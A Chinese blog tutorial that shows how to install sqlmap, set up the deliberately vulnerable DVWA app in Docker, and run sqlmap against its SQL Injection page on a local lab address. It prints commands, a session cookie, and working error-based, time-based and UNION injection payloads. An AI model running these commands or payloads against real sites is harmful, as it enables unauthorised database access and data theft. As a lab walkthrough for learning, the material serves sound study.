sqlmap工具与sql注入漏洞测试

亦凉 2023-01-19 10:59 5阅读 0赞

sql注入是我们在开发与面试中经常听到的一个词语，它利用sql语句本身执行的特点，加入一些特定的语句拼接，骗过sql编译，最后执行，结果就出现意想不到的情况。

我在之前的工作中并不了解sqlmap，直到有一次，安全团队给我们发了很多安全漏洞的邮件，这些都是需要修复的，并报告给他们，然后他们复测，没有问题，这些安全问题才能被清理。

在我看的安全漏洞信息描述的截图里面，我看到一个关于sqlmap的执行命令，当时怀着好奇的心理去了解了一下这个东西，发现其实就是用来做sql注入检测的。

可能是巧合，我们的网站也正好是用php做的，而用来做安全漏洞检测的一个工具dvwa，也是需要php运行环境。

以上说了好多废话，先来看看sqlmap的使用。

sqlmap可以很方便的在安装了python的机器上安装，只需要一个命令：

pip install sqlmap

安装完成，我们就可以检验一下sqlmap的安装是否成功：

C:\Users\admin\Desktop>sqlmap -h
            ___
           __H__
     ___ ___[(]_____ ___ ___  {1.5.5#pip}
    |_ -| . [.]     | .'| . |
    |___|_  [,]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    Usage: sqlmap [options]
    
    Options:
      -h, --help            Show basic help message and exit
      -hh                   Show advanced help message and exit
      --version             Show program's version number and exit
      -v VERBOSE            Verbosity level: 0-6 (default 1)
    
      Target:
        At least one of these options has to be provided to define the
        target(s)
    
        -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
        -g GOOGLEDORK       Process Google dork results as target URLs
    
      Request:
        These options can be used to specify how to connect to the target URL
    
        --data=DATA         Data string to be sent through POST (e.g. "id=1")
        --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
        --random-agent      Use randomly selected HTTP User-Agent header value
        --proxy=PROXY       Use a proxy to connect to the target URL
        --tor               Use Tor anonymity network
        --check-tor         Check to see if Tor is used properly
    
      Injection:
        These options can be used to specify which parameters to test for,
        provide custom injection payloads and optional tampering scripts
    
        -p TESTPARAMETER    Testable parameter(s)
        --dbms=DBMS         Force back-end DBMS to provided value
    
      Detection:
        These options can be used to customize the detection phase
    
        --level=LEVEL       Level of tests to perform (1-5, default 1)
        --risk=RISK         Risk of tests to perform (1-3, default 1)
    
      Techniques:
        These options can be used to tweak testing of specific SQL injection
        techniques
    
        --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
    
      Enumeration:
        These options can be used to enumerate the back-end database
        management system information, structure and data contained in the
        tables
    
        -a, --all           Retrieve everything
        -b, --banner        Retrieve DBMS banner
        --current-user      Retrieve DBMS current user
        --current-db        Retrieve DBMS current database
        --passwords         Enumerate DBMS users password hashes
        --tables            Enumerate DBMS database tables
        --columns           Enumerate DBMS database table columns
        --schema            Enumerate DBMS schema
        --dump              Dump DBMS database table entries
        --dump-all          Dump all DBMS databases tables entries
        -D DB               DBMS database to enumerate
        -T TBL              DBMS database table(s) to enumerate
        -C COL              DBMS database table column(s) to enumerate
    
      Operating system access:
        These options can be used to access the back-end database management
        system underlying operating system
    
        --os-shell          Prompt for an interactive operating system shell
        --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    
      General:
        These options can be used to set some general working parameters
    
        --batch             Never ask for user input, use the default behavior
        --flush-session     Flush session files for current target
    
      Miscellaneous:
        These options do not fit into any other category
    
        --wizard            Simple wizard interface for beginner users
    
    [!] to see full list of options run with '-hh'
    
    Press Enter to continue...

接下来，我们可以找一个mysql数据库试一下，看看它执行如下直连数据库命令得到什么结果：

因为是直连数据库，所以需要python的mysql依赖库，先安装pymysql：

pip install pymysql

再执行以下命令：

sqlmap -d mysql://root:root@192.168.226.100:3306/test -f --banner

执行结果：

C:\Users\admin\Desktop>sqlmap -d mysql://root:root@192.168.226.100:3306/test -f --banner
            ___
           __H__
     ___ ___[(]_____ ___ ___  {1.5.5#pip}
    |_ -| . [,]     | .'| . |
    |___|_  ["]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
     illegal. It is the end user's responsibility to obey all applicable local, state and 
    federal laws. Developers assume no liability and are not responsible for any misuse or 
    damage caused by this program
    
    [*] starting @ 10:49:31 /2021-05-10/
    
    [10:49:32] [INFO] connection to MySQL server '192.168.226.100:3306' established
    [10:49:32] [INFO] testing MySQL
    [10:49:32] [INFO] resumed: [[u'1']]...
    [10:49:32] [INFO] confirming MySQL
    [10:49:32] [INFO] resumed: [[u'1']]...
    [10:49:32] [INFO] the back-end DBMS is MySQL
    [10:49:32] [INFO] fetching banner
    [10:49:32] [INFO] resumed: [[u'5.7.16']]...
    [10:49:32] [INFO] actively fingerprinting MySQL
    [10:49:32] [INFO] resumed: [[u'1']]...
    [10:49:32] [INFO] executing MySQL comment injection fingerprint
    back-end DBMS: active fingerprint: MySQL >= 5.7
                   comment injection fingerprint: MySQL 5.7.16
    banner: '5.7.16'
    [10:49:32] [INFO] connection to MySQL server '192.168.226.100:3306' closed
    
    [*] ending @ 10:49:32 /2021-05-10/

打印了mysql的版本信息。

要使用sqlmap做漏洞测试，当然是需要制造漏洞，而上面提到的dvwa这个网站工具是最合适也是使用最广泛的，它依赖apache,mysql,php环境，目前最快的安装方式是利用docker镜像直接安装，可以避免各种版本和配置问题。

我这里使用的镜像是vulnerables/web-dvwa

docker run --rm -it -p 80:80 vulnerables/web-dvwa

运行之后，可以直接通过浏览器访问docker主机：[http://192.168.226.100/][http_192.168.226.100]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70][]

用户名密码：admin/password

登录之后，进入设置页面：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 1][]

根据这里的提示，需要修改两个配置文件，一个是/var/www/html/config/config.inc.php，这里可以增加reCAPTCHA key，另一个文件是php.ini，这个文件在/etc/php/7.0/apache2目录下。

我这里是拷贝docker容器这两个文件到本机，然后做的修改，这样启动docker容器再做一个目录映射。避免在容器中修改，还需要启动apache服务。

-------------php.ini------------------

allow\_url\_include=On

-------------config.inc.php---------------------------

$\_DVWA\[ 'recaptcha\_public\_key' \]  = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';  
    $\_DVWA\[ 'recaptcha\_private\_key' \] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

再次重启docker,使用命令：

docker run --rm -p 80:80 -v /data/phpdir:/etc/php/7.0/apache2 -v /var/www/html/config:/var/www/html/config vulnerables/web-dvwa

状态全部是绿色，可以创建数据库了。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 2][]

点击页面下方的"Create/Reset Database"按钮，会停顿几秒，然后页面跳转登录页面，重新登录。

=============================================

以上准备工作全部准备好了，可以开始漏洞测试了：

1、进入SQL Injection链接页面，打开控制台(F12)，输入框中输入数字1，也就是id=1的用户编号，点击"Submit"按钮，页面回显用户ID=1的信息：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 3][]

2、在开发者页面“网络”这个标签中找到刚才请求的url:

[http://192.168.226.100/vulnerabilities/sqli/?id=1&Submit=Submit][http_192.168.226.100_vulnerabilities_sqli_id_1_Submit_Submit]

3、在控制台输入document.cookie取得页面cookie,如下所示：

![20210510112342302.png][]

document.cookie
    "PHPSESSID=3l2p3otcgm1ucsiakqj6e7v352; security=low"

4、利用这个cookie参数和上面的请求url，我们使用sqlmap命令做漏洞测试：

sqlmap -u "http://192.168.226.100/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=3l2p3otcgm1ucsiakqj6e7v352; security=low" --dbs

很神奇的现象出现了，这里打印信息如下：

C:\Users\admin\Desktop>sqlmap -u "http://192.168.226.100/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=3l2p3otcgm1ucsiakqj6e7v352; security=low" --dbs
            ___
           __H__
     ___ ___["]_____ ___ ___  {1.5.5#pip}
    |_ -| . [']     | .'| . |
    |___|_  [)]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting @ 11:27:35 /2021-05-10/
    
    [11:27:36] [INFO] resuming back-end DBMS 'mysql'
    [11:27:36] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (GET)
        Type: error-based
        Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
        Payload: id=11' AND EXTRACTVALUE(1064,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(1064=1064,1))),0x716b627171)) AND 'XWOt'='XWOt&Submit=Submit
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: id=11' AND (SELECT 2606 FROM (SELECT(SLEEP(5)))QgDN) AND 'WrwC'='WrwC&Submit=Submit
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 2 columns
        Payload: id=11' UNION ALL SELECT CONCAT(0x7176766a71,0x567a4b6c75464d47566642485a625542577a4e6d69657266464866757444566354447678766f4156,0x716b627171),NULL-- -&Submit=Submit
    ---
    [11:27:36] [INFO] the back-end DBMS is MySQL
    web server operating system: Linux Debian 9 (stretch)
    web application technology: Apache 2.4.25
    back-end DBMS: MySQL >= 5.1 (MariaDB fork)
    [11:27:36] [INFO] fetching database names
    available databases [2]:
    [*] dvwa
    [*] information_schema
    
    [11:27:36] [INFO] fetched data logged to text files under 'C:\Users\admin\AppData\Local\sqlmap\output\192.168.226.100'
    
    [*] ending @ 11:27:36 /2021-05-10/

在打印信息的最后，我们看到列出了数据库中的数据库：dvwa和information\_schema。

至此，sqlmap检测漏洞，我们已经知道了它的功能，后续还可以通过指定数据库列出表，表结构，表字段，表内容，甚至密码信息。

有意思的是，这个dvwa工具镜像，还提供了日志打印功能，我们在启动容器之后，它就自带了日志输出，我们在进行sqlmap漏洞检测命令的时候，打印的日志如下：

192.168.226.1 - - [10/May/2021:03:27:36 +0000] "GET /vulnerabilities/sqli/?
    id=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x7176766a71%2CJSON_ARRAYAGG%28CONCAT_WS%280x6270
    6e707178%2Cschema_name%29%29%2C0x716b627171%29%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA-
    -%20-&Submit=Submit HTTP/1.1" 200 330 "-" "sqlmap/1.5.5#pip (http://sqlmap.org)"

我们的请求仅仅是：[http://192.168.226.100/vulnerabilities/sqli/?id=1&Submit=Submit][http_192.168.226.100_vulnerabilities_sqli_id_1_Submit_Submit]，为何后面好像拼接了一串乱七八糟的玩意，同样的，在控制台下我们转义一下：

decodeURI("GET /vulnerabilities/sqli/?id=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x7176766a71%2CJSON_ARRAYAGG%28CONCAT_WS%280x62706e707178%2Cschema_name%29%29%2C0x716b627171%29%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-&Submit=Submit HTTP/1.1")
    "GET /vulnerabilities/sqli/?id=1' UNION ALL SELECT CONCAT(0x7176766a71%2CJSON_ARRAYAGG(CONCAT_WS(0x62706e707178%2Cschema_name))%2C0x716b627171)%2CNULL FROM INFORMATION_SCHEMA.SCHEMATA-- -&Submit=Submit HTTP/1.1"

出现了UNION ALL SELECT CONCAT字样，这就是sql注入了，参数明明只是id=1，结果后面拼接了 其他内容，这就很容易造成sql执行出现意想不到的结果。

[http_192.168.226.100]: http://192.168.226.100/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70]: /images/20221021/78c09b0114574eca9b0c94188f6ae92d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 1]: /images/20221021/df389ed973f24a418765466fe9904185.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 2]: /images/20221021/2d6ada19ec1d49579f08144f30810c56.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 3]: /images/20221021/bc9be0920f56473a867075ebacbb0d7b.png
[http_192.168.226.100_vulnerabilities_sqli_id_1_Submit_Submit]: http://192.168.226.100/vulnerabilities/sqli/?id=1&Submit=Submit
[20210510112342302.png]: /images/20221021/1b0bc651f2444d328d90a9eb563a9a31.png